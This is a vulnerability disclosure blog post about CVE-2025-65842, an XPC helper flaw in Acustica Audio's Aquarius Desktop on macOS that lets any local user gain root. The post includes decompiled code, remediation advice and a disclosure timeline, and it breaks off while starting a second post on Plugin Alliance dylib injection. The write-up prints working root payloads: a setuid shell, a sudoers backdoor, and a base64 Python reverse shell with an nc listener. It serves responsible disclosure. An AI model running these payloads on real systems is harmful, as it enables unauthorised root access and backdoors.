<p>macOS provides an audit token on each XPC connection that includes the client’s <code class="language-plaintext highlighter-rouge">PID</code>, <code class="language-plaintext highlighter-rouge">UID</code>, <code class="language-plaintext highlighter-rouge">GID</code>, and code‑signing identity. Secure services (e.g., Apple’s own privileged helpers) use this to ensure only trusted, signed clients can connect. This helper completely ignores the audit token.</p>

<h5 id="exposed-privileged-interface"><strong>Exposed Privileged Interface</strong></h5>

<p>As soon as a connection is accepted, the service immediately sets its exported interface to HelperTool and resumes the connection. This makes the entire privileged API surface accessible to any local process, malicious or not.</p>

<p>Because there is no authentication barrier, any local process can connect to the HelperTool service and invoke its privileged methods. Combined with the broken <code class="language-plaintext highlighter-rouge">checkAuthorization:</code> logic, this reduces the attack surface to “any user → root” with essentially no friction.</p>

<h3 id="broken-authorization-logic">Broken Authorization Logic</h3>

<p>The helper attempts to enforce authorization using Apple’s Security.framework, but the implementation is flawed. Below is the relevant decompiled code from <code class="language-plaintext highlighter-rouge">checkAuthorization:command:</code></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* @class HelperTool */</span>
<span class="o">-</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">checkAuthorization</span><span class="o">:</span><span class="p">(</span><span class="n">NSData</span> <span class="o">*</span><span class="p">)</span><span class="n">authData</span> <span class="n">command</span><span class="o">:</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">cmd</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">cmd</span> <span class="o">==</span> <span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">__assert_rtn</span><span class="p">(</span><span class="s">"command != nil"</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">authData</span> <span class="o">==</span> <span class="n">nil</span> <span class="o">||</span> <span class="p">[</span><span class="n">authData</span> <span class="n">length</span><span class="p">]</span> <span class="o">!=</span> <span class="mh">0x20</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="p">[</span><span class="n">NSError</span> <span class="n">errorWithDomain</span><span class="o">:*</span><span class="n">_NSOSStatusErrorDomain</span> <span class="n">code</span><span class="o">:-</span><span class="mi">50</span> <span class="n">userInfo</span><span class="o">:</span><span class="n">nil</span><span class="p">];</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">AuthorizationCreateFromExternalForm</span><span class="p">([</span><span class="n">authData</span> <span class="n">bytes</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">authRef</span><span class="p">)</span> <span class="o">!=</span> <span class="n">errAuthorizationSuccess</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="p">[</span><span class="n">NSError</span> <span class="n">errorWithDomain</span><span class="o">:*</span><span class="n">_NSOSStatusErrorDomain</span> <span class="n">code</span><span class="o">:</span><span class="n">cmd</span> <span class="n">userInfo</span><span class="o">:</span><span class="n">nil</span><span class="p">];</span>
    <span class="p">}</span>

    <span class="c1">// Retrieves the authorization right string for the requested command</span>
    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">right</span> <span class="o">=</span> <span class="p">[[</span><span class="n">Common</span> <span class="n">authorizationRightForCommand</span><span class="o">:</span><span class="n">cmd</span><span class="p">]</span> <span class="n">UTF8String</span><span class="p">];</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">right</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">__assert_rtn</span><span class="p">(</span><span class="s">"oneRight.name != NULL"</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="c1">// AuthorizationCopyRights is called with NULL reference</span>
    <span class="n">OSStatus</span> <span class="n">result</span> <span class="o">=</span> <span class="n">AuthorizationCopyRights</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">rights</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">kAuthorizationFlagDefaults</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">result</span> <span class="o">!=</span> <span class="n">errAuthorizationSuccess</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="p">[</span><span class="n">NSError</span> <span class="n">errorWithDomain</span><span class="o">:*</span><span class="n">_NSOSStatusErrorDomain</span> <span class="n">code</span><span class="o">:</span><span class="n">result</span> <span class="n">userInfo</span><span class="o">:</span><span class="n">nil</span><span class="p">];</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">// Authorization check passes</span>
<span class="p">}</span>
</code></pre></div></div>

<h5 id="superficial-input-validation">Superficial Input Validation</h5>

<p>The function checks that <code class="language-plaintext highlighter-rouge">authData</code> is 32 bytes (<code class="language-plaintext highlighter-rouge">0x20</code>) long, which corresponds to an <code class="language-plaintext highlighter-rouge">AuthorizationExternalForm</code>. However, this validation is syntactic only. It does not verify that the token is genuine or unexpired.</p>

<h5 id="broken-authorization-reference">Broken Authorization Reference</h5>

<p>Even if <code class="language-plaintext highlighter-rouge">AuthorizationCreateFromExternalForm</code> succeeds, the code never actually uses the resulting <code class="language-plaintext highlighter-rouge">AuthorizationRef</code>. Instead, it calls <code class="language-plaintext highlighter-rouge">AuthorizationCopyRights</code> with a <code class="language-plaintext highlighter-rouge">NULL</code> pointer:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">AuthorizationCopyRights</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">rights</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">flags</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</code></pre></div></div>

<p>Passing <code class="language-plaintext highlighter-rouge">NULL</code> here effectively skips validation and results in the function returning success regardless of the caller’s privileges.</p>

<h5 id="assertions-instead-of-enforcement">Assertions Instead of Enforcement</h5>

<p>The code contains multiple calls to <code class="language-plaintext highlighter-rouge">__assert_rtn(...)</code> for critical conditions (<code class="language-plaintext highlighter-rouge">command != nil, oneRight.name != NULL</code>). In release builds, these assertions are either stripped out or only generate runtime exceptions if triggered. They do not provide meaningful security enforcement.</p>

<p>This means that any local client can present any blob resembling an external authorization form (or even bypass this entirely) and still pass the check. The helper effectively grants root level privileges without requiring a valid <code class="language-plaintext highlighter-rouge">AuthorizationRef</code> or rights…</p>

<h3 id="unsafe-command-execution-in-executecommandauthorizationwithreply">Unsafe Command Execution in <code class="language-plaintext highlighter-rouge">executeCommand:authorization:withReply:</code></h3>

<p>The most critical flaw lies in the HelperTool’s <code class="language-plaintext highlighter-rouge">executeCommand:authorization:withReply:</code> method. Decompiled code shows the following flow:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* @class HelperTool */</span>
<span class="o">-</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">executeCommand</span><span class="o">:</span><span class="p">(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="n">cmd</span>
       <span class="n">authorization</span><span class="o">:</span><span class="p">(</span><span class="n">NSData</span> <span class="o">*</span><span class="p">)</span><span class="n">authData</span>
           <span class="n">withReply</span><span class="o">:</span><span class="p">(</span><span class="n">id</span><span class="p">)</span><span class="n">reply</span> <span class="p">{</span>
    
    <span class="n">NSArray</span> <span class="o">*</span><span class="n">parts</span> <span class="o">=</span> <span class="p">[</span><span class="n">cmd</span> <span class="n">componentsSeparatedByString</span><span class="o">:</span><span class="err">@</span><span class="s">","</span><span class="p">];</span>
    <span class="n">NSMutableArray</span> <span class="o">*</span><span class="n">args</span> <span class="o">=</span> <span class="p">[[</span><span class="n">NSMutableArray</span> <span class="n">alloc</span><span class="p">]</span> <span class="n">initWithArray</span><span class="o">:</span><span class="n">parts</span><span class="p">];</span>
    <span class="p">[</span><span class="n">args</span> <span class="n">removeObjectAtIndex</span><span class="o">:</span><span class="mi">0</span><span class="p">];</span>
    
    <span class="n">id</span> <span class="n">authCheck</span> <span class="o">=</span> <span class="p">[</span><span class="n">self</span> <span class="n">checkAuthorization</span><span class="o">:</span><span class="n">authData</span> <span class="n">command</span><span class="o">:</span><span class="n">cmd</span><span class="p">];</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">authCheck</span> <span class="o">==</span> <span class="n">nil</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">NSTask</span> <span class="o">*</span><span class="n">task</span> <span class="o">=</span> <span class="p">[[</span><span class="n">NSTask</span> <span class="n">alloc</span><span class="p">]</span> <span class="n">init</span><span class="p">];</span>
        <span class="n">NSString</span> <span class="o">*</span><span class="n">launchPath</span> <span class="o">=</span> <span class="p">[</span><span class="n">parts</span> <span class="n">objectAtIndex</span><span class="o">:</span><span class="mi">0</span><span class="p">];</span> <span class="c1">// attacker‑controlled</span>
        
        <span class="p">[</span><span class="n">task</span> <span class="n">setLaunchPath</span><span class="o">:</span><span class="n">launchPath</span><span class="p">];</span>
        <span class="p">[</span><span class="n">task</span> <span class="n">setArguments</span><span class="o">:</span><span class="n">args</span><span class="p">];</span> <span class="c1">// attacker‑controlled</span>
        <span class="p">[</span><span class="n">task</span> <span class="n">setStandardOutput</span><span class="o">:</span><span class="p">[</span><span class="n">NSPipe</span> <span class="n">pipe</span><span class="p">]];</span>
        <span class="p">[</span><span class="n">task</span> <span class="n">setStandardInput</span><span class="o">:</span><span class="p">[</span><span class="n">NSPipe</span> <span class="n">pipe</span><span class="p">]];</span>
        <span class="p">[</span><span class="n">task</span> <span class="n">launch</span><span class="p">];</span> <span class="c1">// runs as root</span>
    <span class="p">}</span>
    
    <span class="n">NSLog</span><span class="p">(</span><span class="err">@</span><span class="s">"Acustica Helper Tool protocol::executeCommand: %@"</span><span class="p">,</span> <span class="n">cmd</span><span class="p">);</span>
    <span class="n">reply</span><span class="p">(</span><span class="n">authCheck</span><span class="p">,</span> <span class="err">@</span><span class="s">"Authorization failed."</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<h5 id="broken-authorization-dependency">Broken Authorization Dependency</h5>
<p>The function first calls <code class="language-plaintext highlighter-rouge">checkAuthorization:command:</code>, but as shown earlier this routine always succeeds due to its <code class="language-plaintext highlighter-rouge">NULL</code> <code class="language-plaintext highlighter-rouge">AuthorizationCopyRights</code> usage. In practice, every request passes the authorization step.</p>

<h5 id="attackercontrolled-launch-path-and-arguments">Attacker‑Controlled Launch Path and Arguments</h5>
<p>The function splits the incoming <code class="language-plaintext highlighter-rouge">cmd</code> string on commas, takes the first element as the binary path, and the remaining elements as arguments. No sanitization or whitelisting is applied. Any local attacker can supply arbitrary binaries (e.g. <code class="language-plaintext highlighter-rouge">/bin/bash</code>) and arguments.</p>

<h5 id="execution-sink-via-nstask">Execution Sink via <code class="language-plaintext highlighter-rouge">NSTask</code></h5>
<p>The attacker‑supplied path is passed directly to <code class="language-plaintext highlighter-rouge">NSTask setLaunchPath:</code> and invoked with <code class="language-plaintext highlighter-rouge">[task launch]</code>. Because the <code class="language-plaintext highlighter-rouge">HelperTool</code> runs as a privileged launchd daemon, this code executes with root privileges!</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">@</span><span class="s">"/bin/sh,-c,cp /bin/bash /tmp/rootbash &amp;&amp; chmod +s /tmp/rootbash"</span>
</code></pre></div></div>

<p>The HelperTool executes this as root and create a <code class="language-plaintext highlighter-rouge">setuid</code> root shell at <code class="language-plaintext highlighter-rouge">/tmp/rootbash</code>. Any user can then run this command below to obtain a persistent root shell:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/tmp/rootbash <span class="nt">-p</span>
</code></pre></div></div>

<p>The game plan is this:</p>

<p>We know that any local process can connect to the privileged HelperTool service because <code class="language-plaintext highlighter-rouge">shouldAcceptNewConnection:</code> unconditionally accepts all connections without validation. Thebn, the broken <code class="language-plaintext highlighter-rouge">checkAuthorization:</code> function always returns success. It never enforces a valid <code class="language-plaintext highlighter-rouge">AuthorizationRef</code>, so every caller is granted access to privileged functionality. Finally, we can invokes <code class="language-plaintext highlighter-rouge">executeCommand:authorization:withReply:</code> with malicious arguments. Input is used directly in <code class="language-plaintext highlighter-rouge">[task setLaunchPath:]</code> / <code class="language-plaintext highlighter-rouge">[task setArguments:]</code> and then executed via <code class="language-plaintext highlighter-rouge">[task launch]</code>, running with root privileges.</p>

<p>This mean we can just craft a quick exploit so any local user can perform a one shot Local Privilege Escalation (LPE), gaining full root access on affected macOS systems!</p>

<h2 id="proof-of-concept-poc">Proof of Concept (PoC)</h2>

<p>To demonstrate the impact of the vulnerability, I developed a fully working exploit targeting the <code class="language-plaintext highlighter-rouge">com.acustica.HelperTool</code> XPC service. This exploit chains together all the flaws observed above to achieve arbitrary command execution with root privileges.</p>

<p>The exploit is implemented as a standalone Objective‑C client. I used the Apple’s <code class="language-plaintext highlighter-rouge">NSXPCConnection</code> APIs, to communicates directly with the vulnerable HelperTool service and bypass intended access controls and invoke privileged functionality.</p>

<h3 id="exploit-steps">Exploit Steps</h3>

<ol>
  <li>The exploit creates an <code class="language-plaintext highlighter-rouge">AuthorizationRef</code> and serializes it to an <code class="language-plaintext highlighter-rouge">AuthorizationExternalForm</code> blob. Due to the flawed <code class="language-plaintext highlighter-rouge">checkAuthorization:command:</code> implementation, any blob of the correct length is accepted as valid, even though no real rights are granted.</li>
  <li>An <code class="language-plaintext highlighter-rouge">NSXPCConnection</code> is created to the Mach service <code class="language-plaintext highlighter-rouge">com.acustica.HelperTool</code> with <code class="language-plaintext highlighter-rouge">NSXPCConnectionPrivileged</code>. Because <code class="language-plaintext highlighter-rouge">shouldAcceptNewConnection:</code> always returns <code class="language-plaintext highlighter-rouge">YES</code> without validating the client’s audit token, the connection succeeds from any local process.</li>
  <li>The exploit invokes the <code class="language-plaintext highlighter-rouge">executeCommand:authorization:withReply:</code> method with crafted payloads. The first comma separated token becomes the binary path and subsequent tokens become arguments. These values are passed directly into <code class="language-plaintext highlighter-rouge">[NSTask setLaunchPath:]</code> and <code class="language-plaintext highlighter-rouge">[NSTask setArguments:]</code>, then launched as root.</li>
</ol>

<p>The root shell payload creates a <code class="language-plaintext highlighter-rouge">setuid</code> root shell at <code class="language-plaintext highlighter-rouge">/tmp/rootbash</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">@</span><span class="s">"/bin/sh,-c,cp /bin/bash /tmp/rootbash &amp;&amp; chmod +s /tmp/rootbash"</span>
</code></pre></div></div>

<p>Now we can create a sudo backdoor which grant <code class="language-plaintext highlighter-rouge">passwordless</code> sudo access to all users in the <code class="language-plaintext highlighter-rouge">staf</code> group:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">@</span><span class="s">"/bin/sh,-c,echo 'staff ALL=(ALL) NOPASSWD:ALL' &gt;&gt; /etc/sudoers"</span>
</code></pre></div></div>

<p>We can even push further with a full reverse shell running with full root privs:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">@</span><span class="s">"/bin/sh,-c,echo '&lt;base64-encoded python reverse shell&gt;' | base64 -d | python3"</span>
</code></pre></div></div>

<h3 id="exploitation">Exploitation</h3>

<p>Now the fun part.</p>

<ol>
  <li>We compile the exploit:
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-framework</span> Foundation <span class="nt">-framework</span> Security acusticaexploit.m <span class="nt">-o</span> acusticaexploit
</code></pre></div>    </div>
  </li>
  <li>We run it!
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./acusticaexploit
</code></pre></div>    </div>
  </li>
</ol>

<p align="center"> 
<img src="exploit.png" width="1000" />
</p>

<p><strong>Note on Authorization Handling</strong>: <em>The PoC may log a failure when attempting to create a valid <code class="language-plaintext highlighter-rouge">AuthorizationRef</code> using Apple’s Security.framework APIs (e.g., <code class="language-plaintext highlighter-rouge">AuthorizationCreate</code> returning an error). This is expected and does not impact exploitability. The issue lies in the HelperTool’s flawed implementation of <code class="language-plaintext highlighter-rouge">checkAuthorization</code>:, which only verifies that the supplied blob is 32 bytes long and then ignores the actual <code class="language-plaintext highlighter-rouge">AuthorizationRef</code>. Because of this, any 32‑byte blob is treated as valid authorization. In practice, this means the helper grants access even when no legitimate authorization has been established, which is why the exploit continues successfully despite the “Failed to create authorization” message.</em></p>

<p>Now, the exploitation success can be confirmed various methods. Beyond privilege escalation through creation of a <code class="language-plaintext highlighter-rouge">setuid</code> root shell, the vulnerability can be leveraged to obtain a fully interactive root shell over the network…</p>

<p>We can use a Python reverse shell payload that’s base64‑encoded and injected through the vulnerable <code class="language-plaintext highlighter-rouge">executeCommand:authorization:withReply:</code> method:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span>
<span class="s1">'aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoInJlZGFjdGVkIiwxMzM3KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw=='</span> <span class="se">\ </span>| <span class="nb">base64</span> <span class="nt">-d</span> | python3<span class="p">;</span> <span class="nb">echo</span> <span class="s2">"
</span></code></pre></div></div>

<p>We can start a Netcat listener on our attack machine running macOS Sonoma:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-vl</span> 1337
</code></pre></div></div>

<p>Once the payload executed on the target, the listener received an incoming connection and provided a fully interactive root shell:</p>

<p align="center"> 
<img src="shell.png" width="1000" />
</p>

<h3 id="system-log-verification">System Log Verification</h3>
<p>To validate exploitation, I monitored the system logs for the vulnerable helper service while running the exploit. Using the log stream command with an appropriate predicate, we can observe the HelperTool processing our supplied input and launching commands as root:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>log stream <span class="nt">--predicate</span> <span class="s1">'process == "HelperTool" OR process == “com.acustica.HelperTool"'</span> <span class="nt">--level</span> debug
</code></pre></div></div>
<p>Log entries show the service accepting unprivileged client connections and invoke the unsafe command execution path.</p>

<p>The HelperTool unconditionally accepting new XPC connections</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>com.acustica.HelperTool: Acustica Helper Tool::shouldAcceptNewConnection
</code></pre></div></div>

<p>The flawed authorization path being hit:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>com.acustica.HelperTool: Acustica Helper Tool::checkAuthorization
</code></pre></div></div>
<p>Attacker‑supplied payloads being executed via the vulnerable command handler:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>com.acustica.HelperTool protocol::executeCommand: /bin/sh,-c,cp /bin/bash /tmp/rootbash <span class="o">&amp;&amp;</span> <span class="nb">chmod</span> +s /tmp/rootbash
com.acustica.HelperTool protocol::executeCommand: /bin/sh,-c,echo <span class="s1">'staff ALL=(ALL) NOPASSWD:ALL'</span> <span class="o">&gt;&gt;</span> /etc/sudoers
com.acustica.HelperTool protocol::executeCommand: /bin/sh,-c,echo <span class="s1">'&lt;base64 reverse shell&gt;'</span> | <span class="nb">base64</span> <span class="nt">-d</span> | python3<span class="p">;</span> <span class="nb">echo</span>
</code></pre></div></div>

<p align="center"> 
<img src="log.png" width="1000" />
</p>

<h2 id="remediation">Remediation</h2>

<p>To mitigate this, implement strong client verification controls for all XPC connections. This should include validating the connecting client’s code signature and using the audit token for identity checks, as relying solely on the process <code class="language-plaintext highlighter-rouge">ID</code> (<code class="language-plaintext highlighter-rouge">PID</code>) is not secure. An example of a robust implementation can be found <a href="https://github.com/objective-see/BlockBlock/blob/aa83b7326a4823e78cb2f2d214d39bc8af26ed79/Daemon/Daemon/XPCListener.m#L147">here</a> project.</p>

<p>In addition, ensure that the hardened runtime is enabled and restrict the use of sensitive entitlements. In particular, entitlements such as:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">com.apple.security.cs.disable-library-validation</code></li>
  <li><code class="language-plaintext highlighter-rouge">com.apple.security.cs.allow-dyld-environment-variables</code></li>
  <li><code class="language-plaintext highlighter-rouge">com.apple.private.security.clear-library-validation</code></li>
</ul>

<p>Should be avoided unless absolutely required, as they can significantly weaken binary integrity protections. To mitigate command injection vulnerabilities, all command arguments must be strictly validated and safely escaped before execution.</p>

<h2 id="disclosure-timeline">Disclosure timeline</h2>

<table style="width:100%; border-collapse: collapse; border: 1px solid #4a4d56;">
  <thead>
    <tr style="background-color:#222;">
      <th style="text-align:left; padding:8px;">Date</th>
      <th style="text-align:left; padding:8px;">Action</th>
    </tr>
  </thead>
  <tbody>
    <tr><td style="padding:8px;">August 2, 2025</td><td style="padding:8px;">Vulnerability discovered during local security analysis of Aquarius Desktop and its helper components.</td></tr>
    <tr><td style="padding:8px;">August 3–5, 2025</td><td style="padding:8px;">Initial technical validation and proof-of-concept developed confirming local privilege escalation via the HelperTool XPC service.</td></tr>
    <tr><td style="padding:8px;">August 7, 2025</td><td style="padding:8px;">Full vulnerability report prepared, including reproduction steps and secure remediation guidance.</td></tr>
    <tr><td style="padding:8px;">August 19, 2025</td><td style="padding:8px;">Responsible disclosure email sent to Acustica Audio with attached reports and researcher PGP key requesting a secure communication channel.</td></tr>
    <tr><td style="padding:8px;">August 23, 2025</td><td style="padding:8px;">No acknowledgment received from the vendor; follow-up email sent.</td></tr>
    <tr><td style="padding:8px;">November 13, 2025</td><td style="padding:8px;">Escalation attempt submitted to MITRE CVE Program for coordination assistance.</td></tr>
    <tr><td style="padding:8px;">November 19, 2025</td><td style="padding:8px;">No vendor response received; proceeding with public disclosure in accordance with a 90-day coordinated disclosure policy.</td></tr>
	<tr><td style="padding:8px;">November 28, 2025</td><td style="padding:8px;">CNA response received. CVE ID reserved: CVE-2025-65842</td></tr>
	<tr><td style="padding:8px;">December 3, 2025</td><td style="padding:8px;">CVE ID Published: CVE-2025-65842</td></tr> 
  </tbody>
</table>]]></content><author><name>Simon Bertrand</name></author><category term="macOS" /><category term="Privesc" /><category term="XPC" /><category term="Service" /><summary type="html"><![CDATA[CVE-2025-65842 - Acustica Audio - HelperTool XPC Service Local Privilege Escalation in Aquarius Desktop on macOS]]></summary></entry><entry><title type="html">CVE-2025-62686 - Plugin Alliance - InstallationHelper dylib Injection on macOS</title><link href="/Plugin-Alliance-InstallationHelper-Dylib-Injection/" rel="alternate" type="text/html" title="CVE-2025-62686 - Plugin Alliance - InstallationHelper dylib Injection on macOS" /><published>2025-11-02T03:00:00-05:00</published><updated>2025-11-02T03:00:00-05:00</updated><id>/Plugin-Alliance-InstallationHelper-Dylib-Injection</id><content type="html" xml:base="/Plugin-Alliance-InstallationHelper-Dylib-Injection/"><![CDATA[<p><strong>Note:</strong> <em>The intent of this publication is to promote remediation and improve the security posture of the affected software. This disclosure follows the 90-day industry standard timeline for responsible reporting. Want the details? Keep scrolling. The full timeline and contact history are available further down the page.</em></p>

<h2 id="introduction">Introduction</h2>

<p><em>This is post 1 of 2 in my security review of the Plugin Alliance Installation Manager.</em></p>

<p>Hello!</p>

<p>In this post I want to walk you through a fun little vulnerability I found while poking around the Plugin Alliance <code class="language-plaintext highlighter-rouge">InstallationHelper</code> on macOS.</p>

<p>If you’ve never looked at it before, it’s basically a small background tool that steps in when the Plugin Alliance app needs to install or update something. Because macOS locks down a lot of system locations, the main app can’t just drop files wherever it wants so this helper runs as root and handles the “privileged” parts of the install process for it.</p>

<p>In other words, it’s the thing actually putting files in protected directories, setting permissions, and doing the behind the scenes work that normal apps aren’t allowed to do. And, as you can imagine, anything that runs as root is worth a closer look.</p>

<p>I wanted to see how well it held up against local attacks. It’s a privileged component, so if anything goes wrong here, the impact can get serious fast.</p>

<p>The InstallationHelper from Plugin Alliance isn’t protected by hardened runtime, it has no <code class="language-plaintext highlighter-rouge">__RESTRICT</code> segment, and its entitlements are wide open. That combination leaves the door open for dylib injection.</p>

<p>It was possible to exploit <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code>, I was able to get the helper to load a malicious library. The PoC showed that a normal local user could trigger the helper and run arbitrary code (though still partially limited by SIP).</p>

<p>This article breaks down how the issue works, how I found it, and how it can be exploited in practice.</p>

<p>Let’s go!</p>

<h2 id="vulnerability-overview">Vulnerability Overview</h2>

<p>So we know that the Plugin Alliance <code class="language-plaintext highlighter-rouge">InstallationHelper</code> is running as root, but it’s missing several protections that macOS normally expects from privileged binaries. These protections exist to prevent things like dylib injection, so their absence opens the door to some interesting attack paths.</p>

<p>The first issue shows up before we even get into dynamic loading. The binary simply doesn’t include a <code class="language-plaintext highlighter-rouge">__RESTRICT</code> segment.</p>

<p>macOS uses the <code class="language-plaintext highlighter-rouge">__RESTRICT</code> segment (and its accompanying <code class="language-plaintext highlighter-rouge">__restrict</code> section) to lock down how a binary interacts with dynamic libraries. When this segment is missing, the system won’t enforce certain restrictions around library loading, which becomes dangerous for processes running as root.</p>

<p>A quick <code class="language-plaintext highlighter-rouge">otool</code> check confirms the absence:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>otool <span class="nt">-l</span> com.plugin-alliance.pa-installationhelper | <span class="nb">grep </span>__RESTRICT
</code></pre></div></div>

<p align="center"> 
<img src="1.png" width="1000" />
</p>

<p>Since the binary lacks a <code class="language-plaintext highlighter-rouge">__RESTRICT</code> segment, macOS doesn’t block <code class="language-plaintext highlighter-rouge">DYLD_*</code> environment variables. That alone already opens the door for library injection, but the situation gets worse when we look at the Mach-O header.</p>

<p>Running <code class="language-plaintext highlighter-rouge">otool</code> on the helper shows its runtime flags:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>otool <span class="nt">-hv</span> /Library/PrivilegedHelperTools/com.plugin-alliance.pa-installationhelper
</code></pre></div></div>

<p align="center"> 
<img src="2.png" width="1000" />
</p>

<p>One thing stands out immediately the <code class="language-plaintext highlighter-rouge">HARDENED_RUNTIME</code> flag is completely missing.</p>

<p>Little backstory… Apple introduced hardened runtime back in macOS Mojave to enforce stricter code-signing rules, library validation, and to prevent exactly this kind of DYLD based injection. Without it, the system trusts whatever libraries the process loads even if they come from attacker controlled paths.</p>

<p>So at this point, we have a root privileged binary that doesn’t restrict DYLD variables, doesn’t validate injected libraries and can be influenced by an unprivileged user</p>

<p>Before looking at exploitation paths, it’s worth checking how the helper is signed. Code signing configuration is supposed to tell macOS what a binary is allowed to do at runtime. Things like whether it should enforce hardened runtime, whether it validates loaded libraries, and whether its resources are sealed. For privileged tools, these settings are a major part of preventing injection attacks (like this one).</p>

<p>Running <code class="language-plaintext highlighter-rouge">codesign</code> on the <code class="language-plaintext highlighter-rouge">InstallationHelper</code> gives us its signing details:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>codesign <span class="nt">-dvvv</span> /Library/PrivilegedHelperTools/com.plugin-alliance.pa-installationhelper
</code></pre></div></div>

<p align="center"> 
<img src="3.png" width="1000" />
</p>

<p>The binary is signed with Plugin Alliance’s Developer ID certificate, but that’s about all it has going for it. There’s no hardened runtime, no library validation, and no resource sealing. Without those protections, the signature doesn’t actually stop the helper from loading untrusted code. Even though the binary has a valid Developer ID, macOS isn’t enforcing any of the security features that would normally matter for preventing injection.</p>

<p>Next, I checked the helper’s entitlements to see whether it was explicitly requesting anything risky.</p>

<p>The output is basically empty:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>codesign <span class="nt">--display</span> <span class="nt">--entitlements</span> - /Library/PrivilegedHelperTools/com.plugin-alliance.pa-installationhelper
</code></pre></div></div>

<p align="center"> 
<img src="4.png" width="1000" />
</p>

<p>There are no dangerous entitlements like <code class="language-plaintext highlighter-rouge">disable-library-validation</code> or <code class="language-plaintext highlighter-rouge">allow-dyld-environment-variables</code>, which is good but unfortunately, it doesn’t help much in this case.</p>

<p>Entitlements only matter if hardened runtime is enabled, because that’s what makes macOS enforce things like library validation in the first place. Since hardened runtime is missing entirely, the lack of dangerous entitlements doesn’t prevent DYLD injection. Combined with the missing <code class="language-plaintext highlighter-rouge">__RESTRICT</code> segment, the helper remains fully exposed.</p>

<p>So even though the entitlement set is minimal, the real protections that would have mattered simply aren’t there.</p>

<h2 id="proof-of-concept">Proof of Concept</h2>

<p>To verify that the dylib injection was exploitable, I built a simple PoC setup. The goal was to force the <code class="language-plaintext highlighter-rouge">InstallationHelper</code> to load a malicious dynamic library using <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code>.</p>

<p>The PoC used three small components:</p>

<ol>
  <li><strong>Malicious dylib</strong><br />
This library includes a constructor function that runs automatically as soon as it’s loaded. The constructor writes basic process information (<code class="language-plaintext highlighter-rouge">PID</code>, <code class="language-plaintext highlighter-rouge">UID</code>, <code class="language-plaintext highlighter-rouge">EUID</code>, etc.) to a file in <code class="language-plaintext highlighter-rouge">/tmp</code> so it’s easy to confirm when the code has executed inside the helper’s context. I also had the dylib attempt an outbound connection to a controlled VM just to show that arbitrary code was indeed running inside the helper’s context.</li>
  <li><strong>A minimal XPC client</strong><br />
